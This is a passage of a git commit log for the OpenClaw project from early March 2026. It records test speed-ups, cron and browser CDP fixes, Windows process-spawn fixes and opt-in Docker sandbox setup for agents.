2a2a9902d9 test(perf): merge isolated-agent model precedence cases 2026-03-02 14:24:32 +00:00
Peter Steinberger
5561a6b659 test(perf): dedupe isolated-agent delivery announce cases 2026-03-02 14:24:32 +00:00
Peter Machona
c2d41dc473 fix(daemon): recover Windows restarts from unknown stale listeners (openclaw#24734) thanks @chilu18
Verified:
- pnpm vitest src/cli/daemon-cli/restart-health.test.ts src/cli/gateway-cli.coverage.test.ts
- pnpm oxfmt --check src/cli/daemon-cli/restart-health.ts src/cli/daemon-cli/restart-health.test.ts
- pnpm check (fails on unrelated repo baseline tsgo errors in extensions/* and src/process/exec.windows.test.ts)

Co-authored-by: chilu18 <7957943+chilu18@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 08:24:25 -06:00
Peter Steinberger
a05b8f47b1 test(perf): tighten cron regression timeout windows 2026-03-02 14:20:31 +00:00
Peter Steinberger
7d600ff4e2 test(perf): dedupe plugin validation scenarios 2026-03-02 14:20:21 +00:00
Peter Steinberger
38bdb0d271 test(perf): prune redundant preaction command-path cases 2026-03-02 14:14:02 +00:00
Peter Steinberger
32475448eb test(perf): trim ios team-id fixture setup 2026-03-02 14:12:26 +00:00
Fologan
8421b2e848 fix(gateway): avoid stale running status from Windows Scheduled Task (openclaw#19504) thanks @Fologan
Verified:
- pnpm vitest src/daemon/schtasks.test.ts
- pnpm check
- pnpm build

Co-authored-by: Fologan <164580328+Fologan@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 08:12:24 -06:00
Peter Steinberger
f2468feb86 test(perf): use shell resolver fixture in secrets audit 2026-03-02 14:10:53 +00:00
Tak Hoffman
1fe0f848df fix(slack): type message.channels/group handlers (#31758) 2026-03-02 08:09:49 -06:00
Peter Steinberger
98e5851d8a test(perf): collapse overlapping preaction scenarios 2026-03-02 14:07:06 +00:00
Tak Hoffman
cd653c55d7 windows: unify non-core spawn handling across acp qmd and docker (openclaw#31750) thanks @Takhoffman
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on pre-existing unrelated src/slack/monitor/events/messages.ts typing errors)
- pnpm vitest run src/acp/client.test.ts src/memory/qmd-manager.test.ts src/agents/sandbox/docker.execDockerRaw.enoent.test.ts src/agents/sandbox/docker.windows.test.ts extensions/acpx/src/runtime-internals/process.test.ts

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 08:05:39 -06:00
Peter Steinberger
32c7242974 test(perf): simplify ios team-id fixtures 2026-03-02 14:05:08 +00:00
Peter Steinberger
534f436d4e test(perf): reduce repeated cli program setup overhead 2026-03-02 14:02:47 +00:00
Peter Steinberger
234e07fcc0 refactor(process): extract command env resolution helper 2026-03-02 14:02:47 +00:00
Peter Steinberger
9eb70d2725 fix: add proxy-bypass regression + changelog (#31469) (thanks @widingmarcus-cyber) 2026-03-02 13:56:30 +00:00
Marcus Widing
2bec80cd97 fix: preserve user-configured NO_PROXY when loopback already covered
Only restore env vars when we actually modified them (noProxyDidModify
flag). Prevents silently deleting a user's NO_PROXY that already
contains loopback entries. Added regression test.
2026-03-02 13:56:30 +00:00
Marcus Widing
dd8c76110f fix: remove isFirst guard from NO_PROXY restore, add reverse-exit test
Fix Greptile review: when call A exits before call B, the isFirst flag
on B is false, so the restore condition (refCount===0 && isFirst) was
never true and NO_PROXY leaked permanently.

Remove '&& isFirst' so any last exiter (refCount===0) restores the
original env vars. Added explicit reverse-exit-order regression test.
2026-03-02 13:56:30 +00:00
Marcus Widing
158709ff62 fix: make withNoProxyForLocalhost reentrant-safe, fix [::1] check
Address Greptile review feedback:
- Replace snapshot/restore pattern with reference counter to prevent
  permanent NO_PROXY env-var leak under concurrent async calls
- Include [::1] in the alreadyCoversLocalhost guard
- Add concurrency regression test
2026-03-02 13:56:30 +00:00
Marcus Widing
c96234b51d fix: bypass proxy for CDP localhost connections (#31219)
When HTTP_PROXY / HTTPS_PROXY / ALL_PROXY environment variables are set,
CDP connections to localhost/127.0.0.1 can be incorrectly routed through
the proxy (e.g. via global-agent or undici proxy dispatcher), causing
browser control to fail.

Fix:
- New cdp-proxy-bypass module with utilities for direct localhost connections
- WebSocket (ws) CDP connections: pass explicit http.Agent to bypass any
  global proxy agent patching
- fetch-based CDP probes: wrap in withNoProxyForLocalhost() to temporarily
  set NO_PROXY for the duration of the call
- Playwright connectOverCDP: wrap in withNoProxyForLocalhost() since
  Playwright reads env vars internally
- 13 new tests covering getDirectAgentForCdp, hasProxyEnv, and
  withNoProxyForLocalhost (env save/restore, error recovery)
2026-03-02 13:56:30 +00:00
Peter Steinberger
1184d39e1d fix: extend managed-tab cap regressions + changelog (#29724) (thanks @pandego) 2026-03-02 13:55:09 +00:00
pandego
e303b356ba fix(browser): detach tab-cap listing from openTab return path 2026-03-02 13:55:09 +00:00
pandego
22ec577d80 fix(browser): require managed runtime ownership for tab cap cleanup 2026-03-02 13:55:09 +00:00
pandego
9b938f2bf6 fix(browser): skip tab cap cleanup for attach-only profiles 2026-03-02 13:55:09 +00:00
pandego
c7bf54b914 fix(browser): scope tab cap to local profile and detach cleanup closes 2026-03-02 13:55:09 +00:00
pandego
c350dc8a7b fix(browser): keep tab-cap cleanup best-effort on list errors 2026-03-02 13:55:09 +00:00
pandego
b47dc73b70 fix(browser): cap managed profile tabs to prevent renderer buildup 2026-03-02 13:55:09 +00:00
Keenan
050e928985 [codex] Fix main-session web UI reply routing to Telegram (openclaw#29328) thanks @BeeSting50
Verified:
- pnpm test src/auto-reply/reply/dispatch-from-config.test.ts src/gateway/server-methods/chat.directive-tags.test.ts
- pnpm exec oxfmt --check src/auto-reply/reply/dispatch-from-config.test.ts src/gateway/server-methods/chat.directive-tags.test.ts src/auto-reply/reply/dispatch-from-config.ts src/gateway/server-methods/chat.ts CHANGELOG.md
- CI note: non-required check "check" failed on unrelated src/slack/monitor/events/messages.ts TS errors outside this PR scope.

Co-authored-by: BeeSting50 <85285887+BeeSting50@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:54:16 -06:00
Peter Steinberger
99ee26d534 fix: add timeout cleanup regression for browser CDP readiness (#29538) (thanks @AaronWander) 2026-03-02 13:53:21 +00:00
AaronWander
8bccb0032a fix(browser): bound post-launch CDP wait by elapsed time (#21149) 2026-03-02 13:53:21 +00:00
AaronWander
d06cc77f38 fix(browser): wait for CDP readiness after start (#21149) 2026-03-02 13:53:21 +00:00
Peter Steinberger
0d620a56e2 test(refactor): reuse shared program setup in preaction tests 2026-03-02 13:53:10 +00:00
Peter Steinberger
09748ab109 test(perf): speed up supervisor and exec process tests 2026-03-02 13:53:10 +00:00
Peter Steinberger
2d8b8a17ab test(android): dedupe node and gateway invoke tests 2026-03-02 13:52:36 +00:00
Rain120
6ea6aca5bd fix(ui): the header has been hidden by content in the config page 2026-03-02 07:52:26 -06:00
Sid
7b5a410b83 fix(node-host): decode Windows exec output with active code page (openclaw#30652) thanks @Sid-Qin
Verified:
- pnpm vitest run src/node-host/invoke.sanitize-env.test.ts src/node-host/invoke-system-run.test.ts

Co-authored-by: Sid-Qin <53659198+Sid-Qin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:50:17 -06:00
icesword0760
6e008e93be Process: fix Windows .cmd spawn EINVAL (openclaw#29759) thanks @icesword0760
Verified:
- pnpm vitest run src/process/exec.test.ts src/process/exec.windows.test.ts

Co-authored-by: icesword0760 <123886211+icesword0760@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:49:54 -06:00
SidQin-cyber
732c4f3921 fix(browser): retry chrome act when target tab is stale
When a Chrome relay targetId becomes stale between snapshot and action,
the browser tool now retries once without targetId so the relay falls
back to the currently attached tab.

Drop the unknown recovered field from the test mock return value
to satisfy tsc strict checking against BrowserActResponse.
2026-03-02 13:49:33 +00:00
leotwang
910c654807 test(config): add schema regression tests for browser.extraArgs 2026-03-02 13:47:59 +00:00
leotwang
925117d277 config: add extraArgs to browser zod schema 2026-03-02 13:47:59 +00:00
Yasunori Morishima(盛島康徳)
be8930d6f9 fix: clear stale runningAtMs in cron.run() before already-running check (#17949)
Add recomputeNextRunsForMaintenance() call in run() so that stale
runningAtMs markers (from a crashed Phase-1 persist) are cleared by the
existing normalizeJobTickState logic before the already-running guard.

Without this, a manual cron.run() could be blocked for up to
STUCK_RUN_MS (2 hours) even though no job was actually running.

Fixes #17554

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-02 07:47:36 -06:00
Peter Steinberger
60b8d645de test(perf): standardize loader fixtures to cjs 2026-03-02 13:43:55 +00:00
Mark L
097ad88f9d fix(feishu): tolerate missing webhook defaults in older plugin-sdk (openclaw#31639) thanks @liuxiaopai-ai
Verified:
- pnpm test extensions/feishu/src/monitor.state.defaults.test.ts
- pnpm exec vitest run extensions/feishu/src/monitor.state.defaults.test.ts
- pnpm exec oxfmt --check extensions/feishu/src/monitor.state.ts extensions/feishu/src/monitor.state.defaults.test.ts CHANGELOG.md
- CI note: non-required check "check" failed on unrelated  TS errors outside this PR scope.

Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:42:16 -06:00
Kate Chapman
6df8bd9741 fix(cron): wrap computeJobNextRunAtMs in try-catch inside applyJobResult (#30905)
* fix(cron): wrap computeJobNextRunAtMs in try-catch inside applyJobResult

Without this guard, if the croner library throws during schedule
computation (timezone/expression edge cases), the exception propagates
out of applyJobResult and the entire state update is lost — runningAtMs
never clears, lastRunAtMs never advances, nextRunAtMs never recomputes.
After STUCK_RUN_MS (2h), stuck detection clears runningAtMs and the job
re-fires, creating a ~2h repeat cycle instead of the intended schedule.

The sibling function recomputeJobNextRunAtMs in jobs.ts already wraps
computeJobNextRunAtMs in try-catch; this was an oversight in the
applyJobResult call sites.

Changes:
- Error-backoff path: catch and fall back to backoff-only schedule
- Success path: catch and fall through to the MIN_REFIRE_GAP_MS safety net
- applyOutcomeToStoredJob: log a warning when job not found after forceReload

* fix(cron): use recordScheduleComputeError in applyJobResult catch blocks

Address review feedback: the original catch blocks only logged a warning,
which meant a persistent computeJobNextRunAtMs throw would cause a
MIN_REFIRE_GAP_MS (2s) hot loop on cron-kind jobs.

Now both catch blocks call recordScheduleComputeError (exported from
jobs.ts), which tracks consecutive schedule errors and auto-disables the
job after 3 failures — matching the existing behavior in
recomputeJobNextRunAtMs.

* test(cron): cover applyJobResult schedule-throw fallback paths

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:38:33 -06:00
Andrey
21e19e42a3 fix(cron): skip isError payloads when picking summary/delivery content (#21454)
* fix(cron): skip isError payloads when picking summary/delivery content

buildEmbeddedRunPayloads appends isError warnings as the last payload.
Three functions in helpers.ts iterate last-to-first and pick the error
over real agent output. Use two-pass selection: prefer non-error payloads,
fall back to error-only when no real content exists.

Fixes: pickSummaryFromPayloads, pickLastNonEmptyTextFromPayloads,
pickLastDeliverablePayload — all now accept and filter isError.

* Changelog: note cron payload isError filtering (#21454)

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:38:05 -06:00
Peter Steinberger
2c192a3795 test(perf): reduce cron overlap timer advance slack 2026-03-02 13:37:26 +00:00
Peter Steinberger
02bd7a2249 test(perf): use CJS fixtures in plugin loader tests 2026-03-02 13:36:17 +00:00
Jared Grimes
aa5d173bec fix(feishu): prevent duplicate delivery when message tool uses generic provider (openclaw#31538) thanks @jlgrimes
Verified:
- pnpm exec vitest run src/auto-reply/reply/agent-runner-payloads.test.ts src/auto-reply/reply/followup-runner.test.ts
- pnpm check (fails on unrelated baseline type errors outside PR scope)

Co-authored-by: jlgrimes <8084595+jlgrimes@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:35:58 -06:00
liuxiaopai-ai
06306501ab Slack: register typed channel/group message event handlers 2026-03-02 13:32:54 +00:00
Yuzuru Suzuki
6513c42d2d fix(cron): treat announce delivery failure as ok when execution succeeded (#31082)
* cron: treat announce delivery failure as ok when agent execution succeeded

* fix: set delivered:false and error on announce delivery failure paths

* Changelog: note cron announce delivery status handling (#31082)

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:27:57 -06:00
Peter Steinberger
16e85360a1 perf(cli): cache preaction lazy module imports 2026-03-02 13:26:54 +00:00
Peter Steinberger
4d31c29a19 test(perf): skip shell profile loading in ios team-id script tests 2026-03-02 13:25:49 +00:00
Peter Steinberger
79cb5e2c9b test(perf): trim cron regression timeout windows 2026-03-02 13:25:49 +00:00
kleebaker
b40d5817a2 fix(cron): avoid 30s timeout for cron run --expect-final (#29942)
* fix(cron): use longer default timeout for cron run --expect-final

* test(cron-cli): stabilize cron run timeout assertions with explicit run exits

---------

Co-authored-by: Kelly Baker <kelly@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-02 07:24:42 -06:00
Tak Hoffman
254bb7ceee ui(cron): add advanced controls for run-if-due and routing (#31244)
* ui(cron): add advanced run controls and routing fields

* ui(cron): gate delivery account id to announce mode

* ui(cron): allow clearing delivery account id in editor

* cron: persist payload lightContext updates

* tests(cron): fix payload lightContext assertion typing
2026-03-02 07:24:33 -06:00
cygaar
127217612c fix(CI/CD): use path.resolve in expandHomePrefix test for Windows compat (#30961)
Merged via squash.

Prepared head SHA: 26bc118517
Co-authored-by: cygaar <97691933+cygaar@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-02 14:18:11 +01:00
Peter Steinberger
0b762e9a02 fix(android): import remember for pending tools bubble 2026-03-02 13:11:08 +00:00
Peter Steinberger
cb9bce902e fix(infra): accept cross-realm promises in boundary traversal 2026-03-02 13:00:21 +00:00
Peter Steinberger
848ade07da test(cli): fix gateway coverage mock signature 2026-03-02 13:00:21 +00:00
Peter Steinberger
a9d572394e test(perf): tighten exec timeout slack in non-flaky cases 2026-03-02 12:58:00 +00:00
Peter Steinberger
b02b94673f refactor: dedupe runtime and helper flows 2026-03-02 12:55:47 +00:00
Peter Steinberger
5d3f066bbd test(perf): reduce boundary-path fuzz setup churn 2026-03-02 12:54:59 +00:00
Peter Steinberger
6adc93cc92 test(perf): skip scheduler startup in cron delivery-plan tests 2026-03-02 12:54:53 +00:00
Peter Steinberger
e99928f3f1 test(perf): use git ls-files fast path for guardrail source scan 2026-03-02 12:42:02 +00:00
Peter Steinberger
afda085b39 test(perf): disable scheduler startup in manual-only cron regressions 2026-03-02 12:41:56 +00:00
Peter Steinberger
3980c315d1 test(perf): avoid real node startup in pre-commit hook integration 2026-03-02 12:41:51 +00:00
Peter Steinberger
7b38e8231e test(perf): stub expensive cli coverage integration paths 2026-03-02 12:41:45 +00:00
Peter Steinberger
f94d6fb1f1 test(perf): stub pre-commit helpers in hook integration test 2026-03-02 12:27:37 +00:00
Peter Steinberger
5fed91e624 test(perf): avoid real python startup in ios team-id integration case 2026-03-02 12:26:38 +00:00
Peter Steinberger
ba3957ad77 test(perf): bypass daemon install token-generation path in coverage test 2026-03-02 12:24:03 +00:00
Peter Steinberger
916b0e6609 test(perf): tighten cron regression timeout constants 2026-03-02 12:21:35 +00:00
Peter Steinberger
099b11fc7d test(perf): align media auto-detect no-key mock with scenario 2026-03-02 12:20:51 +00:00
Peter Steinberger
f7b8e4be27 test(fix): stabilize exec no-output heartbeat timing case 2026-03-02 12:18:27 +00:00
Peter Steinberger
2cda78a0b0 test(perf): stub docker probes in filesystem audit cases 2026-03-02 12:18:27 +00:00
Peter Steinberger
87316e07d8 refactor(macos): share pairing and ui dedupe utilities 2026-03-02 12:13:45 +00:00
Peter Steinberger
d85d3c88d5 refactor(agents): centralize tool display definitions 2026-03-02 12:13:45 +00:00
Peter Steinberger
d977af5853 refactor(diffs): share artifact detail and screenshot test helpers 2026-03-02 12:13:45 +00:00
Peter Steinberger
7533015532 refactor(android): extract shared dedupe helpers for node and chat 2026-03-02 12:13:45 +00:00
Peter Steinberger
f01862bce2 test(perf): clear concurrent-start timeout handle in cron regression test 2026-03-02 12:07:38 +00:00
Peter Steinberger
8e0ca219a4 test(perf): precreate plugin config validation fixtures 2026-03-02 12:06:48 +00:00
Peter Steinberger
bdfd3bae6f test(perf): reuse cli programs in coverage tests 2026-03-02 12:00:28 +00:00
Peter Steinberger
adf2ef88c6 test(perf): simplify temp-path guard scan loop 2026-03-02 11:59:24 +00:00
Peter Steinberger
d95bc10425 test(perf): streamline deep code-safety audit assertions 2026-03-02 11:58:49 +00:00
Peter Steinberger
d9ff3bf1af test(perf): tighten process exec and supervisor timing fixtures 2026-03-02 11:56:57 +00:00
Peter Steinberger
2b855704da test(perf): remove redundant ios team-id script invocation 2026-03-02 11:55:35 +00:00
Peter Steinberger
c80a332def test(perf): cut cron retry waits and tighten tmp guard prefilter 2026-03-02 11:54:26 +00:00
Peter Steinberger
d9a8d3853d test(perf): trim qmd manager fixture setup overhead 2026-03-02 11:54:21 +00:00
Peter Steinberger
94e480f64a test(refactor): dedupe preaction command coverage 2026-03-02 11:41:40 +00:00
Peter Steinberger
735216f7e4 test(perf): reduce security audit and guardrail overhead 2026-03-02 11:41:33 +00:00
Peter Steinberger
316875582a test(perf): speed up pre-commit integration setup 2026-03-02 11:36:16 +00:00
Peter Steinberger
43bffe7bdc test(perf): cache plugin fixtures and streamline shell tests 2026-03-02 11:35:13 +00:00
Peter Steinberger
cf67e374c0 refactor(macos): dedupe UI, pairing, and runtime helpers 2026-03-02 11:32:20 +00:00
Peter Steinberger
cd011897d0 refactor(ios): dedupe status, gateway, and service flows 2026-03-02 11:32:20 +00:00
Peter Steinberger
2ca5722221 refactor(shared): dedupe common OpenClawKit helpers 2026-03-02 11:32:20 +00:00
Peter Steinberger
3dd01c3361 test(perf): reuse shared temp root in plugin install tests 2026-03-02 11:27:04 +00:00
Peter Steinberger
79b649a25e test: fix signal-listener typing in exec bridge test 2026-03-02 11:22:26 +00:00
Peter Steinberger
0c2d85529a test(refactor): dedupe cli and ios script scenarios 2026-03-02 11:16:33 +00:00
Peter Steinberger
1b98879295 test(perf): reduce guardrail and media test overhead 2026-03-02 11:16:29 +00:00
Peter Steinberger
bff785aecc test(perf): tighten process test timeouts and fs setup 2026-03-02 11:16:24 +00:00
Peter Steinberger
4dcb16d696 ci: fix install smoke docker helper path 2026-03-02 11:01:56 +00:00
Peter Steinberger
96ef6ea3cf test(perf): dedupe setup in cli/security script suites 2026-03-02 10:53:21 +00:00
Peter Steinberger
4a8ada662e test(perf): cache media fixtures and trim timeout waits 2026-03-02 10:52:58 +00:00
Peter Steinberger
8a1465c314 test(perf): trim timer-heavy suites and guardrail scanning 2026-03-02 10:28:39 +00:00
Peter Steinberger
f5a265a51a test(sessions): normalize cross-agent path assertions 2026-03-02 10:08:52 +00:00
Peter Steinberger
033c731f19 fix(ci): annotate feishu hoisted mock type 2026-03-02 09:59:16 +00:00
Peter Steinberger
c1a46301b6 fix(ci): align strict nullable typing across channels and ui 2026-03-02 09:56:14 +00:00
Peter Steinberger
fc692d82fd refactor(tests): dedupe macos ipc smoke setup blocks 2026-03-02 09:55:46 +00:00
Peter Steinberger
8553d22428 refactor(tests): dedupe ios gateway and deeplink fixtures 2026-03-02 09:55:46 +00:00
Peter Steinberger
7d44b753ff refactor(tests): dedupe openclawkit chat test helpers 2026-03-02 09:55:46 +00:00
Peter Steinberger
04030ddf68 test(runtime): trim timer-heavy regression suites 2026-03-02 09:47:29 +00:00
Peter Steinberger
fd4d157e45 test(config): reuse fixtures for faster validation 2026-03-02 09:47:29 +00:00
Peter Steinberger
fcb956a0a2 test(cli): reduce update/program suite overhead 2026-03-02 09:46:27 +00:00
Peter Steinberger
500883775b refactor(tests): dedupe ios defaults and setup-code helpers 2026-03-02 09:39:45 +00:00
Peter Steinberger
fd7774a79e refactor(tests): dedupe swift gateway and chat fixtures 2026-03-02 09:39:45 +00:00
Gustavo Madeira Santana
5f49a5da3c Diffs: extend image quality configs and add PDF as a format option (#31342)
Merged via squash.

Prepared head SHA: cc12097851
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-02 04:38:50 -05:00
Peter Steinberger
756f9c9fef refactor(scripts): dedupe installer CLI verification 2026-03-02 08:59:33 +00:00
Peter Steinberger
ad8d766f65 refactor(extensions): dedupe channel config, onboarding, and monitors 2026-03-02 08:54:20 +00:00
Peter Steinberger
d358b3ac88 refactor(core): extract shared usage, auth, and display helpers 2026-03-02 08:54:20 +00:00
Peter Steinberger
e427826fcf refactor(ui): dedupe state, views, and usage helpers 2026-03-02 08:54:20 +00:00
Peter Steinberger
00a2456b72 refactor(scripts): dedupe guard checks and smoke helpers 2026-03-02 08:54:20 +00:00
Vincent Koc
5d53b61d9e fix(browser): honor profile attachOnly for loopback CDP (#31429)
* config(browser): allow profile attachOnly field

* config(schema): accept profile attachOnly

* browser(config): resolve per-profile attachOnly

* browser(runtime): honor profile attachOnly checks

* browser(routes): expose profile attachOnly in status

* config(labels): add browser profile attachOnly label

* config(help): document browser profile attachOnly

* test(config): cover profile attachOnly resolution

* test(browser): cover profile attachOnly runtime path

* test(config): include profile attachOnly help target

* changelog: note profile attachOnly override

* browser(runtime): prioritize attachOnly over loopback ownership error

* test(browser): cover attachOnly ws-failure ownership path
2026-03-02 00:49:57 -08:00
Vincent Koc
29c3ce9454 [AI-assisted] test: fix typing and test fixture issues (#31444)
* test: fix typing and test fixture issues

* Fix type-test harness issues from session routing and mock typing

* Add routing regression test for session.mainKey precedence
2026-03-02 00:41:21 -08:00
Gustavo Madeira Santana
1443bb9a84 chore(tsgo/lint): fix CI errors 2026-03-02 03:03:11 -05:00
Vincent Koc
22be0c5801 fix(browser): support configurable CDP auto-port range start (#31352)
* config(browser): add cdpPortRangeStart type

* config(schema): validate browser.cdpPortRangeStart

* config(labels): add browser.cdpPortRangeStart label

* config(help): document browser.cdpPortRangeStart

* browser(config): resolve custom cdp port range start

* browser(profiles): allocate ports from resolved CDP range

* test(browser): cover cdpPortRangeStart config behavior

* test(browser): cover cdpPortRangeStart profile allocation

* test(browser): include CDP range fields in remote tab harness

* test(browser): include CDP range fields in ensure-tab harness

* test(browser): include CDP range fields in bridge auth config

* build(browser): add resolved CDP range metadata

* fix(browser): fallback CDP port allocation to derived range

* test(browser): cover missing resolved CDP range fallback

* fix(browser): remove duplicate resolved CDP range fields

* fix(agents): provide resolved CDP range in sandbox browser config

* chore(browser): format sandbox bridge resolved config

* chore(browser): reformat sandbox imports to satisfy oxfmt
2026-03-01 23:50:50 -08:00
Vincent Koc
c6e5026edf Docs: sort provider lists A-Z 2026-03-01 23:42:55 -08:00
Vincent Koc
7e8118a93e Docs: sort built-in tools links A-Z 2026-03-01 23:41:39 -08:00
Vincent Koc
c977ac8d26 Docs: sort supported channels A-Z 2026-03-01 23:40:51 -08:00
Vincent Koc
ee22a01ec9 Docs: remove dead concepts/sessions alias 2026-03-01 23:40:09 -08:00
Vincent Koc
abe0edaba7 Docs: sort channels list by name across locales 2026-03-01 23:38:55 -08:00
Vincent Koc
a969df4c00 Docs: remove quickstart from first steps nav 2026-03-01 23:36:38 -08:00
Vincent Koc
fbc1585b3f fix(pairing): handle missing accountId in allowFrom reads (#31369)
* pairing: honor default account in allowFrom read when accountId omitted

* changelog: credit pairing allowFrom fallback fix
2026-03-01 23:24:33 -08:00
Vincent Koc
e055afd000 fix(browser): accept legacy flattened act params (#31359)
* fix(browser-tool): accept flattened act params

* schema(browser-tool): add flattened act fields

* test(browser-tool): cover flattened act compatibility

* changelog: note browser act compatibility fix

* fix(schema): align browser act request fields
2026-03-01 23:21:07 -08:00
Vincent Koc
5b55c23948 fix(browser): evict stale extension relay targets from cache (#31362)
* fix(browser): prune stale extension relay targets

* test(browser): cover relay stale target pruning

* changelog: note extension relay stale target fix
2026-03-01 23:18:49 -08:00
Vincent Koc
db28dda120 fix(cli): let browser start honor --timeout (#31365)
* fix(cli): respect browser start timeout option

* test(cli): cover browser start timeout propagation

* changelog: note browser start timeout propagation fix
2026-03-01 23:16:23 -08:00
Vincent Koc
f4785c1a7b Docs: expand sandbox guide for common image and Docker bootstrap 2026-03-01 23:16:00 -08:00
Peter Steinberger
c00d5837d3 style(agents): format pdf tool test after rebase 2026-03-02 07:13:11 +00:00
Peter Steinberger
45d77cac16 test(agents): dedupe remaining tool and lock test scaffolds 2026-03-02 07:13:11 +00:00
Peter Steinberger
c3948800f4 refactor(agents): extract shared tool model helpers 2026-03-02 07:13:11 +00:00
Peter Steinberger
45888276a3 test(integration): dedupe messaging, secrets, and plugin test suites 2026-03-02 07:13:11 +00:00
Peter Steinberger
d3e0c0b29c test(gateway): dedupe gateway and infra test scaffolds 2026-03-02 07:13:10 +00:00
Peter Steinberger
cded1b960a test(commands): dedupe command and onboarding test cases 2026-03-02 07:13:10 +00:00
Peter Steinberger
7e29d604ba test(agents): dedupe agent and cron test scaffolds 2026-03-02 07:13:10 +00:00
Veast
281494ae52 fix(browser): include Chrome stderr and sandbox hint in CDP startup error (#29355)
* fix(browser): include Chrome stderr and sandbox hint in CDP startup error (#29312)

When Chrome fails to start and CDP times out, the error message previously
contained no diagnostic information, making it impossible to determine why
Chrome couldn't start (e.g. missing --no-sandbox in containers, GPU issues,
shared memory errors).

This change:
- Collects Chrome's stderr output and includes up to 2000 chars in the error
- On Linux, if noSandbox is not set, appends a hint to try browser.noSandbox: true

Closes #29312

* chore(browser): format chrome startup diagnostics

* fix(browser): detach stderr listener after Chrome starts to prevent memory leak

Named the anonymous listener so it can be removed via proc.stderr.off()
once CDP is confirmed reachable. Also clears the stderrChunks array on
success so the buffered data is eligible for GC.

Fixes the unbounded memory growth reported in code review: a long-lived
Chrome process emitting periodic warnings would keep appending to
stderrChunks indefinitely since the listener was never removed.

Addresses review comment from chatgpt-codex-connector on PR #29355.

* changelog: note cdp startup diagnostics improvement

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: 派尼尔 <painier@openclaw.ai>
2026-03-01 23:08:52 -08:00
jamtujest
cb491dfde5 feat(docker): add opt-in sandbox support for Docker deployments (#29974)
* feat(docker): add opt-in sandbox support for Docker deployments

Enable Docker-based sandbox isolation via OPENCLAW_SANDBOX=1 env var
in docker-setup.sh. This is a prerequisite for agents.defaults.sandbox
to function in any Docker deployment (self-hosted, Hostinger, DigitalOcean).

Changes:
- Dockerfile: add OPENCLAW_INSTALL_DOCKER_CLI build arg (~50MB, opt-in)
- docker-compose.yml: add commented-out docker.sock mount with docs
- docker-setup.sh: auto-detect Docker socket, inject mount, detect GID,
  build sandbox image, configure sandbox defaults, add group_add

All changes are opt-in. Zero impact on existing deployments.

Usage: OPENCLAW_SANDBOX=1 ./docker-setup.sh

Closes #29933
Related: #7575, #7827, #28401, #10361, #12505, #28326

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address code review feedback on sandbox support

- Persist OPENCLAW_SANDBOX, DOCKER_GID, OPENCLAW_INSTALL_DOCKER_CLI
  to .env via upsert_env so group_add survives re-runs
- Show config set errors instead of swallowing them silently;
  report partial failure when sandbox config is incomplete
- Warn when Dockerfile.sandbox is missing but sandbox config
  is still applied (sandbox image won't exist)
- Fix non-canonical whitespace in apt sources.list entry
  by using printf instead of echo with line continuation

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: remove `local` outside function and guard sandbox behind Docker CLI check

- Remove `local` keyword from top-level `sandbox_config_ok` assignment
  which caused script exit under `set -euo pipefail` (bash `local`
  outside a function is an error)
- Add Docker CLI prerequisite check for pre-built (non-local) images:
  runs `docker --version` inside the container and skips sandbox setup
  with a clear warning if the CLI is missing
- Split sandbox block so config is only applied after prerequisites pass

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: defer docker.sock mount until sandbox prerequisites pass

Move Docker socket mounting from the early setup phase (before image
build/pull) to a dedicated compose overlay created only after:
1. Docker CLI is verified inside the container image
2. /var/run/docker.sock exists on the host

Previously the socket was mounted optimistically at startup, leaving
the host Docker daemon exposed even when sandbox setup was later
skipped due to missing Docker CLI. Now the gateway starts without
the socket, and a docker-compose.sandbox.yml overlay is generated
only when all prerequisites pass. The gateway restart at the end of
sandbox setup picks up both the socket mount and sandbox config.

Also moves group_add from write_extra_compose() into the sandbox
overlay, keeping all sandbox-specific compose configuration together.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* docs(docker): fix sandbox docs URL in setup output

* Docker: harden sandbox setup fallback behavior

* Tests: cover docker-setup sandbox edge paths

* Docker: roll back sandbox mode on partial config failure

* Tests: assert sandbox mode rollback on partial setup

* Docs: document Docker sandbox bootstrap env controls

* Changelog: credit Docker sandbox bootstrap hardening

* Update CHANGELOG.md

* Docker: verify Docker apt signing key fingerprint

* Docker: avoid sandbox overlay deps during policy writes

* Tests: assert no-deps sandbox rollback gateway recreate

* Docs: mention OPENCLAW_INSTALL_DOCKER_CLI in Docker env vars

---------

Co-authored-by: Jakub Karwowski <jakubkarwowski@Mac.lan>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 23:06:10 -08:00
Tyler Yust
